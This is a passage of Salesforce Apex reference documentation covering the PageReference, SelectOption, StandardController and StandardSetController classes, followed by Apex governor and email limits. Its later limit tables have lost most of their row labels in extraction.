the platform recognizes that this controller or controller extension is dependent on the existence of the specified page and will
prevent the page from being deleted while the controller or extension exists.
Creates a PageReference to any page that is hosted on the Force.com platform. For example, setting 'partialURL' to
'/apex/HelloWorld' refers to the Visualforce page located at
http://mySalesforceInstance/apex/HelloWorld. Likewise, setting 'partialURL' to '/' + 'recordID'
refers to the detail page for the specified record.
This syntax is less preferable for referencing other Visualforce pages than Page.existingPageName because the PageReference
is constructed at runtime, rather than referenced at compile time. Runtime references are not available to the referential integrity
system. Consequently, the platform doesn't recognize that this controller or controller extension is dependent on the existence of
the specified page and won't issue an error message to prevent user deletion of the page.
You can also instantiate a PageReference object for the current page with the currentPage ApexPages method. For example:
PageReference pageRef = ApexPages.currentPage();
678
PageReference Class
Request Headers
The following table is a non-exhaustive list of headers that are set on requests.
Header
Description
Host
The host name requested in the request URL. This header is always set on Force.com Site requests
and My Domain requests. This header is optional on other requests when HTTP/1.0 is used instead
of HTTP/1.1.
Referer
The URL that is either included or linked to the current request's URL. This header is optional.
User-Agent
The name, version, and extension support of the program that initiated this request, such as a Web
browser. This header is optional and can be overridden in most browsers to be a different value.
Therefore, this header should not be relied upon.
CipherSuite
If this header exists and has a non-blank value, this means that the request is using HTTPS. Otherwise,
the request is using HTTP. The contents of a non-blank value are not defined by this API, and can
be changed without notice.
X-Salesforce-SIP
The source IP address of the request. This header is always set on HTTP and HTTPS requests that
are initiated outside of Salesforce's data centers.
Note: If a request passes through a content delivery network (CDN) or proxy server, the
source IP address might be altered, and no longer the original client IP address.
X-Salesforce-Forwarded-To
The fully qualified domain name of the Salesforce instance that is handling this request. This header
is always set on HTTP and HTTPS requests that are initiated outside of Salesforce's data centers.
The following page markup calls the getAccount method from the controller above:
<apex:page controller="MyController">
<apex:pageBlock title="Retrieving Query String Parameters">
You are viewing the {!account.name} account.
</apex:pageBlock>
</apex:page>
679
PageReference Class
Note: For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For
example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53
The getAccount method uses an embedded SOQL query to return the account specified by the id parameter in the URL of the
page. To access id, the getAccount method uses the ApexPages namespace:
First the currentPage method returns the PageReference instance for the current page. PageReference returns a
reference to a Visualforce page, including its query string parameters.
Using the page reference, use the getParameters method to return a map of the specified query string parameter names and
values.
Then a call to the get method specifying id returns the value of the id parameter itself.
The following page markup calls the save method from the controller above. When a user clicks Save, he or she is redirected to the
detail page for the account just created:
<apex:page controller="mySecondController" tabStyle="Account">
<apex:sectionHeader title="New Account Edit Page" />
<apex:form>
<apex:pageBlock title="Create a New Account">
<apex:pageBlockButtons location="bottom">
<apex:commandButton action="{!save}" value="Save"/>
</apex:pageBlockButtons>
<apex:pageBlockSection title="Account Information">
<apex:inputField id="accountName" value="{!account.name}"/>
<apex:inputField id="accountSite" value="{!account.site}"/>
</apex:pageBlockSection>
680
PageReference Constructors
</apex:pageBlock>
</apex:form>
</apex:page>
IN THIS SECTION:
PageReference Constructors
PageReference Methods
PageReference Constructors
The following are constructors for PageReference.
IN THIS SECTION:
PageReference(partialURL)
Creates a new instance of the PageReference class using the specified URL.
PageReference(record)
Creates a new instance of the PageReference class for the specified sObject record.
PageReference(partialURL)
Creates a new instance of the PageReference class using the specified URL.
Signature
public PageReference(String partialURL)
Parameters
partialURL
Type: String
The partial URL of a page hosted on the Force.com platform or a full external URL. The following are some examples of the
partialURL parameter values:
/apex/HelloWorld: refers to the Visualforce page located at
http://mySalesforceInstance/apex/HelloWorld.
PageReference(record)
Creates a new instance of the PageReference class for the specified sObject record.
Signature
public PageReference(SObject record)
681
PageReference Methods
Parameters
record
Type: SObject
The sObject record to create a page reference for.
PageReference Methods
The following are methods for PageReference. All are instance methods.
IN THIS SECTION:
getAnchor()
Returns the name of the anchor referenced in the pages URL. That is, the part of the URL after the hashtag (#).
getContent()
Returns the output of the page, as displayed to a user in a web browser.
getContentAsPDF()
Returns the page in PDF, regardless of the <apex:page> components renderAs attribute.
getCookies()
Returns a map of cookie names and cookie objects, where the key is a String of the cookie name and the value contains the list of
cookie objects with that name.
getHeaders()
Returns a map of the request headers, where the key string contains the name of the header, and the value string contains the value
of the header.
getParameters()
Returns a map of the query string parameters that are included in the page URL. The key string contains the name of the parameter,
while the value string contains the value of the parameter.
getRedirect()
Returns the current value of the PageReference object's redirect attribute.
getUrl()
Returns the relative URL associated with the PageReference when it was originally defined, including any query string parameters
and anchors.
setAnchor(anchor)
Sets the URLs anchor reference to the specified string.
setCookies(cookies)
Creates a list of cookie objects. Used in conjunction with the Cookie class.
setRedirect(redirect)
Sets the value of the PageReference object's redirect attribute. If set to true, a redirect is performed through a client side
redirect.
getAnchor()
Returns the name of the anchor referenced in the pages URL. That is, the part of the URL after the hashtag (#).
682
PageReference Methods
Signature
public String getAnchor()
Return Value
Type: String
getContent()
Returns the output of the page, as displayed to a user in a web browser.
Signature
public Blob getContent()
Return Value
Type: Blob
Usage
The content of the returned Blob depends on how the page is rendered. If the page is rendered as a PDF file, it returns the PDF document.
If the page is not rendered as PDF, it returns HTML. To access the content of the returned HTML as a string, use the toString Blob
method.
Note: If you use getContent in a test method, the test method fails. getContent is treated as a callout in API version
34.0 and later.
This method cant be used in:
Triggers
Test methods
Apex email services
If the Visualforce page has an error, an ExecutionException is thrown.
getContentAsPDF()
Returns the page in PDF, regardless of the <apex:page> components renderAs attribute.
Signature
public Blob getContentAsPDF()
Return Value
Type: Blob
683
PageReference Methods
Usage
Note: If you use getContentAsPDF in a test method, the test method fails. getContentAsPDF is treated as a callout
in API version 34.0 and later.
This method cant be used in:
Triggers
Test methods
Apex email services
getCookies()
Returns a map of cookie names and cookie objects, where the key is a String of the cookie name and the value contains the list of cookie
objects with that name.
Signature
public Map<String, System.Cookie[]> getCookies()
Return Value
Type: Map<String, System.Cookie[]>
Usage
Used in conjunction with the Cookie class. Only returns cookies with the apex__ prefix set by the setCookies method.
getHeaders()
Returns a map of the request headers, where the key string contains the name of the header, and the value string contains the value of
the header.
Signature
public Map<String, String> getHeaders()
Return Value
Type: Map<String, String>
Usage
This map can be modified and remains in scope for the PageReference object. For instance, you could do:
PageReference.getHeaders().put('Date', '9/9/99');
684
PageReference Methods
getParameters()
Returns a map of the query string parameters that are included in the page URL. The key string contains the name of the parameter,
while the value string contains the value of the parameter.
Signature
public Map<String, String> getParameters()
Return Value
Type: Map<String, String>
Usage
This map can be modified and remains in scope for the PageReference object. For instance, you could do:
PageReference.getParameters().put('id', myID);
getRedirect()
Returns the current value of the PageReference object's redirect attribute.
Signature
public Boolean getRedirect()
Return Value
Type: Boolean
Usage
Note that if the URL of the PageReference object is set to a website outside of the salesforce.com domain, the redirect always
occurs, regardless of whether the redirect attribute is set to true or false.
getUrl()
Returns the relative URL associated with the PageReference when it was originally defined, including any query string parameters and
anchors.
Signature
public String getUrl()
685
PageReference Methods
Return Value
Type: String
setAnchor(anchor)
Sets the URLs anchor reference to the specified string.
Signature
public System.PageReference setAnchor(String anchor)
Parameters
anchor
Type: String
Return Value
Type: System.PageReference
Example
For example, https://Salesforce_instance/apex/my_page#anchor1.
setCookies(cookies)
Creates a list of cookie objects. Used in conjunction with the Cookie class.
Signature
public Void setCookies(Cookie[] cookies)
Parameters
cookies
Type: System.Cookie[]
Return Value
Type: Void
Usage
Important:
Cookie names and values set in Apex are URL encoded, that is, characters such as @ are replaced with a percent sign and their
hexadecimal representation.
The setCookies method adds the prefix apex__ to the cookie names.
Setting a cookie's value to null sends a cookie with an empty string value instead of setting an expired attribute.
686
SelectOption Class
After you create a cookie, the properties of the cookie can't be changed.
Be careful when storing sensitive information in cookies. Pages are cached regardless of a cookie value. If you use a cookie
value to generate dynamic content, you should disable page caching. For more information, see Caching Force.com Sites
Pages in the Salesforce online help.
setRedirect(redirect)
Sets the value of the PageReference object's redirect attribute. If set to true, a redirect is performed through a client side redirect.
Signature
public System.PageReference setRedirect(Boolean redirect)
Parameters
redirect
Type: Boolean
Return Value
Type: System.PageReference
Usage
This type of redirect performs an HTTP GET request, and flushes the view state, which uses POST. If set to false, the redirect is a
server-side forward that preserves the view state if and only if the target page uses the same controller and contains the proper subset
of extensions used by the source page.
Note that if the URL of the PageReference object is set to a website outside of the salesforce.com domain, or to a page with a
different controller or controller extension, the redirect always occurs, regardless of whether the redirect attribute is set to true
or false.
SelectOption Class
A SelectOption object specifies one of the possible values for a Visualforce selectCheckboxes, selectList, or
selectRadio component.
Namespace
System
SelectOption consists of a label that is displayed to the end user, and a value that is returned to the controller if the option is
selected. A SelectOption can also be displayed in a disabled state, so that a user cannot select it as an option, but can still view it.
Instantiation
In a custom controller or controller extension, you can instantiate a SelectOption in one of the following ways:
687
SelectOption Class
where value is the String that is returned to the controller if the option is selected by a user, label is the String that is displayed
to the user as the option choice, and isDisabled is a Boolean that, if true, specifies that the user cannot select the option, but
can still view it.
where value is the String that is returned to the controller if the option is selected by a user, and label is the String that is
displayed to the user as the option choice. Because a value for isDisabled is not specified, the user can both view and select
the option.
Example
The following example shows how a list of SelectOptions objects can be used to provide possible values for a selectCheckboxes
component on a Visualforce page. In the following custom controller, the getItems method defines and returns the list of possible
SelectOption objects:
public class sampleCon {
String[] countries = new String[]{};
public PageReference test() {
return null;
}
public List<SelectOption> getItems() {
List<SelectOption> options = new List<SelectOption>();
options.add(new SelectOption('US','US'));
options.add(new SelectOption('CANADA','Canada'));
options.add(new SelectOption('MEXICO','Mexico'));
return options;
}
public String[] getCountries() {
return countries;
}
public void setCountries(String[] countries) {
this.countries = countries;
}
}
In the following page markup, the <apex:selectOptions> tag uses the getItems method from the controller above to
retrieve the list of possible values. Because <apex:selectOptions> is a child of the <apex:selectCheckboxes> tag,
the options are displayed as checkboxes:
<apex:page controller="sampleCon">
<apex:form>
<apex:selectCheckboxes value="{!countries}">
<apex:selectOptions value="{!items}"/>
</apex:selectCheckboxes><br/>
688
SelectOption Constructors
IN THIS SECTION:
SelectOption Constructors
SelectOption Methods
SelectOption Constructors
The following are constructors for SelectOption.
IN THIS SECTION:
SelectOption(value, label)
Creates a new instance of the SelectOption class using the specified value and label.
SelectOption(value, label, isDisabled)
Creates a new instance of the SelectOption class using the specified value, label, and disabled setting.
SelectOption(value, label)
Creates a new instance of the SelectOption class using the specified value and label.
Signature
public SelectOption(String value, String label)
Parameters
value
Type: String
The string that is returned to the Visualforce controller if the option is selected by a user.
label
Type: String
The string that is displayed to the user as the option choice.
689
SelectOption Methods
Signature
public SelectOption(String value, String label, Boolean isDisabled)
Parameters
value
Type: String
The string that is returned to the Visualforce controller if the option is selected by a user.
label
Type: String
The string that is displayed to the user as the option choice.
isDisabled
Type: Boolean
If set to true, the option cant be selected by the user but can still be viewed.
SelectOption Methods
The following are methods for SelectOption. All are instance methods.
IN THIS SECTION:
getDisabled()
Returns the current value of the SelectOption object's isDisabled attribute.
getEscapeItem()
Returns the current value of the SelectOption object's itemEscaped attribute.
getLabel()
Returns the option label that is displayed to the user.
getValue()
Returns the option value that is returned to the controller if a user selects the option.
setDisabled(isDisabled)
Sets the value of the SelectOption object's isDisabled attribute.
setEscapeItem(itemsEscaped)
Sets the value of the SelectOption object's itemEscaped attribute.
setLabel(label)
Sets the value of the option label that is displayed to the user.
setValue(value)
Sets the value of the option value that is returned to the controller if a user selects the option.
690
SelectOption Methods
getDisabled()
Returns the current value of the SelectOption object's isDisabled attribute.
Signature
public Boolean getDisabled()
Return Value
Type: Boolean
Usage
If isDisabled is set to true, the user can view the option, but cannot select it. If isDisabled is set to false, the user can
both view and select the option.
getEscapeItem()
Returns the current value of the SelectOption object's itemEscaped attribute.
Signature
public Boolean getEscapeItem()
Return Value
Type: Boolean
Usage
If itemEscaped is set to true, sensitive HTML and XML characters are escaped in the HTML output generated by this component.
If itemEscaped is set to false, items are rendered as written.
getLabel()
Returns the option label that is displayed to the user.
Signature
public String getLabel()
Return Value
Type: String
getValue()
Returns the option value that is returned to the controller if a user selects the option.
691
SelectOption Methods
Signature
public String getValue()
Return Value
Type: String
setDisabled(isDisabled)
Sets the value of the SelectOption object's isDisabled attribute.
Signature
public Void setDisabled(Boolean isDisabled)
Parameters
isDisabled
Type: Boolean
Return Value
Type: Void
Usage
If isDisabled is set to true, the user can view the option, but cannot select it. If isDisabled is set to false, the user can
both view and select the option.
setEscapeItem(itemsEscaped)
Sets the value of the SelectOption object's itemEscaped attribute.
Signature
public Void setEscapeItem(Boolean itemsEscaped)
Parameters
itemsEscaped
Type: Boolean
Return Value
Type: Void
692
StandardController Class
Usage
If itemEscaped is set to true, sensitive HTML and XML characters are escaped in the HTML output generated by this component.
If itemEscaped is set to false, items are rendered as written.
setLabel(label)
Sets the value of the option label that is displayed to the user.
Signature
public Void setLabel(String label)
Parameters
label
Type: String
Return Value
Type: Void
setValue(value)
Sets the value of the option value that is returned to the controller if a user selects the option.
Signature
public Void setValue(String value)
Parameters
value
Type: String
Return Value
Type: Void
StandardController Class
Use a StandardController when defining an extension for a standard controller.
Namespace
ApexPages
693
StandardController Constructors
Usage
StandardController objects reference the pre-built Visualforce controllers provided by Salesforce. The only time it is necessary to refer
to a StandardController object is when defining an extension for a standard controller. StandardController is the data type of the single
argument in the extension class constructor.
Instantiation
You can instantiate a StandardController in the following way:
ApexPages.StandardController sc = new ApexPages.StandardController(sObject);
Example
The following example shows how a StandardController object can be used in the constructor for a standard controller extension:
public class myControllerExtension {
private final Account acct;
// The extension constructor initializes the private member
// variable acct by using the getRecord method from the standard
// controller.
public myControllerExtension(ApexPages.StandardController stdController) {
this.acct = (Account)stdController.getRecord();
}
public String getGreeting() {
return 'Hello ' + acct.name + ' (' + acct.id + ')';
}
}
The following Visualforce markup shows how the controller extension from above can be used in a page:
<apex:page standardController="Account" extensions="myControllerExtension">
{!greeting} <p/>
<apex:form>
<apex:inputField value="{!account.name}"/> <p/>
<apex:commandButton value="Save" action="{!save}"/>
</apex:form>
</apex:page>
IN THIS SECTION:
StandardController Constructors
StandardController Methods
StandardController Constructors
The following are constructors for StandardController.
694
StandardController Methods
IN THIS SECTION:
StandardController(controllerSObject)
Creates a new instance of the ApexPages.StandardController class for the specified standard or custom object.
StandardController(controllerSObject)
Creates a new instance of the ApexPages.StandardController class for the specified standard or custom object.
Signature
public StandardController(SObject controllerSObject)
Parameters
controllerSObject
Type: SObject
A standard or custom object.
StandardController Methods
The following are methods for StandardController. All are instance methods.
IN THIS SECTION:
addFields(fieldNames)
When a Visualforce page is loaded, the fields accessible to the page are based on the fields referenced in the Visualforce markup.
This method adds a reference to each field specified in fieldNames so that the controller can explicitly access those fields as
well.
cancel()
Returns the PageReference of the cancel page.
delete()
Deletes record and returns the PageReference of the delete page.
edit()
Returns the PageReference of the standard edit page.
getId()
Returns the ID of the record that is currently in context, based on the value of the id query string parameter in the Visualforce page
URL.
getRecord()
Returns the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL.
reset()
Forces the controller to reacquire access to newly referenced fields. Any changes made to the record prior to this method call are
discarded.
save()
Saves changes and returns the updated PageReference.
695
StandardController Methods
view()
Returns the PageReference object of the standard detail page.
addFields(fieldNames)
When a Visualforce page is loaded, the fields accessible to the page are based on the fields referenced in the Visualforce markup. This
method adds a reference to each field specified in fieldNames so that the controller can explicitly access those fields as well.
Signature
public Void addFields(List<String> fieldNames)
Parameters
fieldNames
Type: List<String>
Return Value
Type: Void
Usage
This method should be called before a record has been loadedtypically, it's called by the controller's constructor. If this method is
called outside of the constructor, you must use the reset() method before calling addFields().
The strings in fieldNames can either be the API name of a field, such as AccountId, or they can be explicit relationships to fields,
such as foo__r.myField__c.
This method is only for controllers used by dynamicVisualforce bindings.
cancel()
Returns the PageReference of the cancel page.
Signature
public System.PageReference cancel()
Return Value
Type: System.PageReference
delete()
Deletes record and returns the PageReference of the delete page.
Signature
public System.PageReference delete()
696
StandardController Methods
Return Value
Type: System.PageReference
edit()
Returns the PageReference of the standard edit page.
Signature
public System.PageReference edit()
Return Value
Type: System.PageReference
getId()
Returns the ID of the record that is currently in context, based on the value of the id query string parameter in the Visualforce page
URL.
Signature
public String getId()
Return Value
Type: String
getRecord()
Returns the record that is currently in context, based on the value of the id query string parameter in the Visualforce page URL.
Signature
public SObject getRecord()
Return Value
Type: sObject
Usage
Note that only the fields that are referenced in the associated Visualforce markup are available for querying on this SObject. All other
fields, including fields from any related objects, must be queried using a SOQL expression.
Tip: You can work around this restriction by including a hidden component that references any additional fields that you want
to query. Hide the component from display by setting the component's rendered attribute to false.
697
StandardController Methods
Example
<apex:outputText
value="{!account.billingcity}
{!account.contacts}"
rendered="false"/>
reset()
Forces the controller to reacquire access to newly referenced fields. Any changes made to the record prior to this method call are
discarded.
Signature
public Void reset()
Return Value
Type: Void
Usage
This method is only used if addFields is called outside the constructor, and it must be called directly before addFields.
This method is only for controllers used by dynamicVisualforce bindings.
save()
Saves changes and returns the updated PageReference.
Signature
public System.PageReference save()
Return Value
Type: System.PageReference
view()
Returns the PageReference object of the standard detail page.
Signature
public System.PageReference view()
Return Value
Type: System.PageReference
698
StandardSetController Class
StandardSetController Class
StandardSetController objects allow you to create list controllers similar to, or as extensions of, the pre-built Visualforce list
Namespace
ApexPages
Usage
The StandardSetController class also contains a prototype object. This is a single sObject contained within the Visualforce
StandardSetController class. If the prototype object's fields are set, those values are used during the save action, meaning that the values
are applied to every record in the set controller's collection. This is useful for writing pages that perform mass updates (applying identical
changes to fields within a collection of objects).
Note: Fields that are required in other Salesforce objects will keep the same requiredness when used by the prototype object.
Instantiation
You can instantiate a StandardSetController in either of the following ways:
From a list of sObjects:
List<account> accountList = [SELECT Name FROM Account LIMIT 20];
ApexPages.StandardSetController ssc = new ApexPages.StandardSetController(accountList);
Note: The maximum record limit for StandardSetController is 10,000 records. Instantiating StandardSetController using a query
locator returning more than 10,000 records causes a LimitException to be thrown. However, instantiating StandardSetController
with a list of more than 10,000 records doesnt throw an exception, and instead truncates the records to the limit.
Example
The following example shows how a StandardSetController object can be used in the constructor for a custom list controller:
public class opportunityList2Con {
// ApexPages.StandardSetController must be instantiated
// for standard list controllers
public ApexPages.StandardSetController setCon {
get {
if(setCon == null) {
setCon = new ApexPages.StandardSetController(Database.getQueryLocator(
[SELECT Name, CloseDate FROM Opportunity]));
}
699
StandardSetController Constructors
return setCon;
}
set;
}
// Initialize setCon and return a list of records
public List<Opportunity> getOpportunities() {
return (List<Opportunity>) setCon.getRecords();
}
}
The following Visualforce markup shows how the controller above can be used in a page:
<apex:page controller="opportunityList2Con">
<apex:pageBlock>
<apex:pageBlockTable value="{!opportunities}" var="o">
<apex:column value="{!o.Name}"/>
<apex:column value="{!o.CloseDate}"/>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:page>
IN THIS SECTION:
StandardSetController Constructors
StandardSetController Methods
StandardSetController Constructors
The following are constructors for StandardSetController.
IN THIS SECTION:
StandardSetController(sObjectList)
Creates a new instance of the ApexPages.StandardSetController class for the list of sObjects returned by the query
locator.
StandardSetController(controllerSObjects)
Creates a new instance of the ApexPages.StandardSetController class for the specified list of standard or custom
objects.
StandardSetController(sObjectList)
Creates a new instance of the ApexPages.StandardSetController class for the list of sObjects returned by the query locator.
Signature
public StandardSetController(Database.QueryLocator sObjectList)
700
StandardSetController Methods
Parameters
sObjectList
Type: Database.QueryLocator
A query locator returning a list of sObjects.
StandardSetController(controllerSObjects)
Creates a new instance of the ApexPages.StandardSetController class for the specified list of standard or custom objects.
Signature
public StandardSetController(List<SObject> controllerSObjects)
Parameters
controllerSObjects
Type: List<SObject>
A List of standard or custom objects.
StandardSetController Methods
The following are methods for StandardSetController. All are instance methods.
IN THIS SECTION:
cancel()
Returns the PageReference of the original page, if known, or the home page.
first()
Returns the first page of records.
getCompleteResult()
Indicates whether there are more records in the set than the maximum record limit. If this is false, there are more records than you
can process using the list controller. The maximum record limit is 10,000 records.
getFilterId()
Returns the ID of the filter that is currently in context.
getHasNext()
Indicates whether there are more records after the current page set.
getHasPrevious()
Indicates whether there are more records before the current page set.
getListViewOptions()
Returns a list of the listviews available to the current user.
getPageNumber()
Returns the page number of the current page set. Note that the first page returns 1.
getPageSize()
Returns the number of records included in each page set.
701
StandardSetController Methods
getRecord()
Returns the sObject that represents the changes to the selected records. This retrieves the prototype object contained within the
class, and is used for performing mass updates.
getRecords()
Returns the list of sObjects in the current page set. This list is immutable, i.e. you can't call clear() on it.
getResultSize()
Returns the number of records in the set.
getSelected()
Returns the list of sObjects that have been selected.
last()
Returns the last page of records.
next()
Returns the next page of records.
previous()
Returns the previous page of records.
save()
Inserts new records or updates existing records that have been changed. After this operation is finished, it returns a PageReference
to the original page, if known, or the home page.
setFilterID(filterId)
Sets the filter ID of the controller.
setpageNumber(pageNumber)
Sets the page number.
setPageSize(pageSize)
Sets the number of records in each page set.
setSelected(selectedRecords)
Set the selected records.
cancel()
Returns the PageReference of the original page, if known, or the home page.
Signature
public System.PageReference cancel()
Return Value
Type: System.PageReference
first()
Returns the first page of records.
702
StandardSetController Methods
Signature
public Void first()
Return Value
Type: Void
getCompleteResult()
Indicates whether there are more records in the set than the maximum record limit. If this is false, there are more records than you can
process using the list controller. The maximum record limit is 10,000 records.
Signature
public Boolean getCompleteResult()
Return Value
Type: Boolean
getFilterId()
Returns the ID of the filter that is currently in context.
Signature
public String getFilterId()
Return Value
Type: String
getHasNext()
Indicates whether there are more records after the current page set.
Signature
public Boolean getHasNext()
Return Value
Type: Boolean
getHasPrevious()
Indicates whether there are more records before the current page set.
703
StandardSetController Methods
Signature
public Boolean getHasPrevious()
Return Value
Type: Boolean
getListViewOptions()
Returns a list of the listviews available to the current user.
Signature
public System.SelectOption getListViewOptions()
Return Value
Type: System.SelectOption[]
getPageNumber()
Returns the page number of the current page set. Note that the first page returns 1.
Signature
public Integer getPageNumber()
Return Value
Type: Integer
getPageSize()
Returns the number of records included in each page set.
Signature
public Integer getPageSize()
Return Value
Type: Integer
getRecord()
Returns the sObject that represents the changes to the selected records. This retrieves the prototype object contained within the class,
and is used for performing mass updates.
704
StandardSetController Methods
Signature
public sObject getRecord()
Return Value
Type: sObject
getRecords()
Returns the list of sObjects in the current page set. This list is immutable, i.e. you can't call clear() on it.
Signature
public sObject[] getRecords()
Return Value
Type: sObject[]
getResultSize()
Returns the number of records in the set.
Signature
public Integer getResultSize()
Return Value
Type: Integer
getSelected()
Returns the list of sObjects that have been selected.
Signature
public sObject[] getSelected()
Return Value
Type: sObject[]
last()
Returns the last page of records.
705
StandardSetController Methods
Signature
public Void last()
Return Value
Type: Void
next()
Returns the next page of records.
Signature
public Void next()
Return Value
Type: Void
previous()
Returns the previous page of records.
Signature
public Void previous()
Return Value
Type: Void
save()
Inserts new records or updates existing records that have been changed. After this operation is finished, it returns a PageReference to
the original page, if known, or the home page.
Signature
public System.PageReference save()
Return Value
Type: System.PageReference
setFilterID(filterId)
Sets the filter ID of the controller.
706
StandardSetController Methods
Signature
public Void setFilterID(String filterId)
Parameters
filterId
Type: String
Return Value
Type: Void
setpageNumber(pageNumber)
Sets the page number.
Signature
public Void setpageNumber(Integer pageNumber)
Parameters
pageNumber
Type: Integer
Return Value
Type: Void
setPageSize(pageSize)
Sets the number of records in each page set.
Signature
public Void setPageSize(Integer pageSize)
Parameters
pageSize
Type: Integer
Return Value
Type: Void
setSelected(selectedRecords)
Set the selected records.
707
StandardSetController Methods
Signature
public Void setSelected(sObject[] selectedRecords)
Parameters
selectedRecords
Type: sObject[]
Return Value
Type: Void
708
Synchronous
Limit
Asynchronous
Limit
100
200
50,000
10,000
20
2,000
150
10,000
Total stack depth for any Apex invocation that recursively fires triggers due to insert,
3
update, or delete statements
16
100
709
Description
Synchronous
Limit
Maximum timeout for all callouts (HTTP requests or Web services calls) in a transaction
Asynchronous
Limit
120 seconds
Maximum number of methods with the future annotation allowed per Apex invocation
50
50
10
6 MB
12 MB
10 minutes
Maximum number of push notification method calls allowed per Apex transaction
Maximum number of push notifications that can be sent in each push notification method
call
10
2,000
In a SOQL query with parent-child relationship subqueries, each parent-child relationship counts as an extra query. These types of
queries have a limit of three times the number for top-level queries. The row counts from these relationship queries contribute to the
row counts of the overall code execution. In addition to static SOQL statements, calls to the following methods count against the number
of SOQL statements issued in a request.
Database.countQuery
Database.getQueryLocator
Database.query
2
Calls to the following methods count against the number of DML queries issued in a request.
Approval.process
Database.convertLead
Database.emptyRecycleBin
Database.rollback
Database.setSavePoint
delete and Database.delete
insert and Database.insert
merge and Database.merge
undelete and Database.undelete
update and Database.update
upsert and Database.upsert
System.runAs
3
Recursive Apex that does not fire any triggers with insert, update, or delete statements exists in a single invocation, with a
single stack. Conversely, recursive Apex that fires a trigger spawns the trigger in a new Apex invocation, separate from the invocation
of the code that caused it to fire. Because spawning a new invocation of Apex is a more expensive operation than a recursive call in a
single invocation, there are tighter restrictions on the stack depth of these types of recursive calls.
4
710
CPU time is calculated for all executions on the Salesforce application servers occurring in one Apex transaction. CPU time is calculated
for the executing Apex code, and for any processes that are called from this code, such as package code and workflows. CPU time is
private for a transaction and is isolated from other transactions. Operations that dont consume application server CPU time arent counted
toward CPU time. For example, the portion of execution time spent in the database for DML, SOQL, and SOSL isnt counted, nor is waiting
time for Apex callouts.
Note:
Limits apply individually to each testMethod.
To determine the code execution limits for your code while it is running, use the Limits methods. For example, you can use
the getDMLStatements method to determine the number of DML statements that have already been called by your
program. Or, you can use the getLimitDMLStatements method to determine the total number of DML statements
available to your code.
Cumulative
Cross-Namespace Limit
1,100
110,000
220
1,650
1,100
110
711
All per-transaction limits count separately for certified managed packages except for:
The total heap size
The maximum CPU time
The maximum transaction execution time
The maximum number of unique namespaces
These limits count for the entire transaction, regardless of how many certified managed packages are running in the same transaction.
Also, if you install a package from AppExchange that isnt created by a Salesforce ISV Partner and isnt certified, the code from that
package doesnt have its own separate governor limits. Any resources it uses count against the total governor limits for your organization.
Cumulative resource messages and warning emails are also generated based on managed package namespaces.
For more information on Salesforce ISV Partner packages, see Salesforce Partner Programs.
Limit
The maximum number of asynchronous Apex method executions (batch Apex, future methods,
Queueable Apex, and scheduled Apex) per a 24-hour period1
Number of synchronous concurrent requests for long-running requests that last longer than 5 seconds 10
for each organization.2
Maximum number of Apex classes scheduled concurrently
100
Maximum number of batch Apex jobs in the Apex flex queue that are in Holding status
100
Maximum number of test classes that can be queued per 24-hour period (production organizations The greater of 500 or 10
other than Developer Edition)5
multiplied by the number of test
classes in the organization
Maximum number of test classes that can be queued per 24-hour period (sandbox and Developer The greater of 500 or 20
Edition organizations)5
multiplied by the number of test
classes in the organization
Maximum number of query cursors open concurrently per user6
50
Maximum number of query cursors open concurrently per user for the Batch Apex start method 15
Maximum number of query cursors open concurrently per user for the Batch Apex execute and 5
finish methods
Maximum simultaneous requests to URLs with the same host for a callout request7
712
To external endpoints: 20
Description
Limit
To endpoints within your
Salesforce orgs domain:
unlimited
For Batch Apex, method executions include executions of the start, execute, and finish methods. This limit is for your entire
organization and is shared with all asynchronous Apex: Batch Apex, Queueable Apex, scheduled Apex, and future methods. The licenses
that count toward this limit are full Salesforce user licenses or Force.com App Subscription user licenses. Chatter Free, Chatter customer
users, Customer Portal User, and partner portal User licenses arent included.
2
If more requests are made while the 10 long-running requests are still running, theyre denied.
When batch jobs are submitted, theyre held in the flex queue before the system queues them for processing.
Batch jobs that havent started yet remain in the queue until theyre started. If more than one job is running, this limit doesnt cause
any batch job to fail and execute methods of batch Apex jobs still run in parallel.
5
This limit applies to tests running asynchronously. This group of tests includes tests started through the Salesforce user interface
including the Developer Console or by inserting ApexTestQueueItem objects using SOAP API.
6
For example, if 50 cursors are open and a client application still logged in as the same user attempts to open a new one, the oldest of
the 50 cursors is released. Cursor limits for different Force.com features are tracked separately. For example, you can have 50 Apex query
cursors, 15 cursors for the Batch Apex start method, 5 cursors each for the Batch Apex execute and finish methods, and 5
Visualforce cursors open at the same time.
7
The host is defined by the unique subdomain for the URLfor example, www.mysite.com and extra.mysite.com are two
different hosts. This limit is calculated across all orgs that access the same host. If this limit is exceeded, a CalloutException is
thrown.
Limit
10 seconds
Maximum size of callout request or response (HTTP request or Web services call)1
Maximum SOQL query run time before Salesforce cancels the transaction
120 seconds
5,000
200
Maximum number of records returned for a Batch Apex query in Database.QueryLocator 50 million
The HTTP request and response sizes count towards the total heap size.
713
Limit
1 million
1 million
3 MB
This limit does not apply to certified managed packages installed from AppExchange (that is, an app that has been marked AppExchange
Certified). The code in those types of packages belongs to a namespace unique from the code in your organization. For more information
on AppExchange Certified packages, see the Force.com AppExchange online help. This limit also does not apply to any code included
in a class defined with the @isTest annotation.
2
Large methods that exceed the allowed limit cause an exception to be thrown during the execution of your code.
714
Email Limits
Inbound Email Limits
Email Services: Maximum Number of Email Messages Processed
(Includes limit for On-Demand Email-to-Case)
10 MB1
25 MB
The maximum size of email messages for Email Services varies depending on language and character set. The size of an email
message includes the email headers, body, attachments, and encoding. As a result, an email with a 25 MB attachment likely exceeds
the 25 MB size limit for an email message after accounting for the headers, body, and encoding..
When defining email services, note the following:
An email service only processes messages it receives at one of its addresses.
Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can
process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on
how you configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number
of user licenses by 1,000; maximum 1,000,000. For example, if you have 10 licenses, your organization can process up to 10,000
email messages a day.
Email service addresses that you create in your sandbox cannot be copied to your production organization.
For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's email
address.
Email services reject email messages and notify the sender if the email (combined body text, body HTML, and attachments)
exceeds approximately 10 MB (varies depending on language and character set).
